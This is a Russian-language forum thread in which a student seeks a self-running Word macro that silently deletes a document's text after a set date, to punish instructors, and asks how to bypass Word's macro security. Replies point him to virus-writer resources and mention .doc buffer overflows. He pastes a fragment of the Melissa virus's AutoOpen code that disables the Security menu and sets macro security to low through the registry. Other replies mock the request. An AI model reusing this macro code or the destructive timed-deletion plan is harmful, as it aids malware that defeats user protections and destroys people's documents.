Привет!!!

Есть острая необходимость создать макрос, который бы автоматически запускался при открытии документа WORD и если возможно - чтобы без предупреждений о том, что в документе макрос присутсвует. PLZZZ напишите пару строчек -- основная задача - как автоматически запустить макрос при открытии документа?????

Уж очень ПОДЛЫЕ преподы!!!!! Пользуются работами студентов - ПРОДАЮТ НАГЛЫМ ОБРАЗОМ!!!!!

Заранее благодарен !

Предлагаю такие посты в анналы васма и на видном месте показывать, что-нить вроде терапии отвращением.

Пасибо конечно тебе АННОнимка -

НО когда есть хороший диплом и преподаватель не стыдясь на твоих глазах продает чужие - - ЭТО ЗАДЕВАЕТ!!!

Поэтому я и обратился за помощью.
Хотелось бы просто увидеть пару строчек скрипта ...
Если что-то не так ТО лучше бы попроавили ИЛИ ВООБЩЕ ПОСТ ЗАКРЫЛИ -- а не печатать угнетающий ответ.
тот, кто меня поймет - тот напишет (тому и спасибо), а посты с обливанием грязью можете не писать - ето всегда можно успеть!!!

Попробуй по инету поискать статьи VOVAN/SMF (DVL) или с ним как-то контакт наладь :)
Вообще покопайся по сайтам вирмаков. Щас на под word много всякой дряни. Действуй ж)

Спасибо NickBox за наставление на пусть истенный ;))))
складывается такая ситуация -
вкладываем в документ такой вот макрос

Sub AutoClose
... - удаление текста, сохранение документа, закрытие.
end Sub

макрос срабатывает на закрытие(или открытие AutoOpen), кроме того в нем будет проверка на дату - т.е. макрос выполнит усе ети действия если дата > установленной

НО борода вот в чем ... степень защиты в MS Word - высокая -- никак он обычным путем не запустится :(

1. Можно ли как нибудь убрать высокую степень защиты????
2. Можно ли прикрепить к ДОК документу - exe или чтонибудь, что смогло бы поменять ключи в реестре?????
Заранее спасибо!

> 2. Можно ли прикрепить к ДОК документу - exe или чтонибудь, что смогло бы поменять ключи в реестре?????
в doc'ах куча ошибок типа переполнения буфера, которые можно использовать.

> 1. Можно ли как нибудь убрать высокую степень защиты????
да какая там защита ;( одна видимость ;(
я у себя вообще vb-движок убил, т.к. задолбался с приходящими документами, не раз ловил срань господнюю, пробивающую эту "защиту" как скорлупу ;(

Советую скачать журнальчик Ring0. Не знаю откуда, гугл знает :) Возможно есть на vx[dot]netlux[dot]org. Там, в статье, VOVAN отвечает на твой вопрос, если я правильно помню. Читай ж)

Автоматический запуск макросов в Microsoft Word
Программа: Microsoft Works Suite 2003, Microsoft Office 2000, Microsoft Office 97, Microsoft Office XP, Microsoft Word 2000, Microsoft Word 2002, Microsoft Word 97, Microsoft Word 98(J), Microsoft Works Suite 2001, Microsoft Works Suite 2002

Опасность: Средняя

Наличие эксплоита: Да

Описание: Уязвимость обнаружена в Microsoft Word и Works Suite. Злонамеренный пользователь может автоматически выполнить произвольный код на системе.

Уязвимость связанна с ошибкой проверки свойств измененного документа. В результате удаленный атакующий может сконструировать злонамеренный документ, содержащий внедренный макрос, который будет выполнен на системе пользователя, который открыл этот документ.

Пример/Эксплоит: Нет

ЖАЛЬ ВОТ ТОЛЬКО НЕПОНЯТНО - ЕСТЬ пример или НЕТ!!!!!

мне тут прислали КУСОК МЕЛИСЫ - если кому интересно
========
Private Sub AutoOpen()
On Error Resume Next
p$ = "clone"
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Security", "Level") = 1&
Else
p$ = "clone"
.....

тут короче текст
.....
.....
End Sub
=============
ХОТЕЛОСЬ БЫ узнать -- может у кого есть пример или EXPL - КАК ПОЛЬЗОВАТЬ УЯЗВИМОСТЬ В Word????

noorg
Уж очень ПОДЛЫЕ преподы!
Это очень субъективное утверждение.

Если что-то не так ТО лучше бы попроавили ИЛИ ВООБЩЕ ПОСТ ЗАКРЫЛИ -- а не печатать угнетающий ответ.
Можно и в Хельхейм отправить :-)

Пример/Эксплоит: Нет
Ну, блин, Вы б ещё на сайтах антивирусов эксплоит искали!

Да ещё и "острая необходимость" :-(

Quantum

Значит, отправить?

volodya
:-)

volodya
Ну слава небу! А то уж я начал сумневаться в справедливости жизни ;-)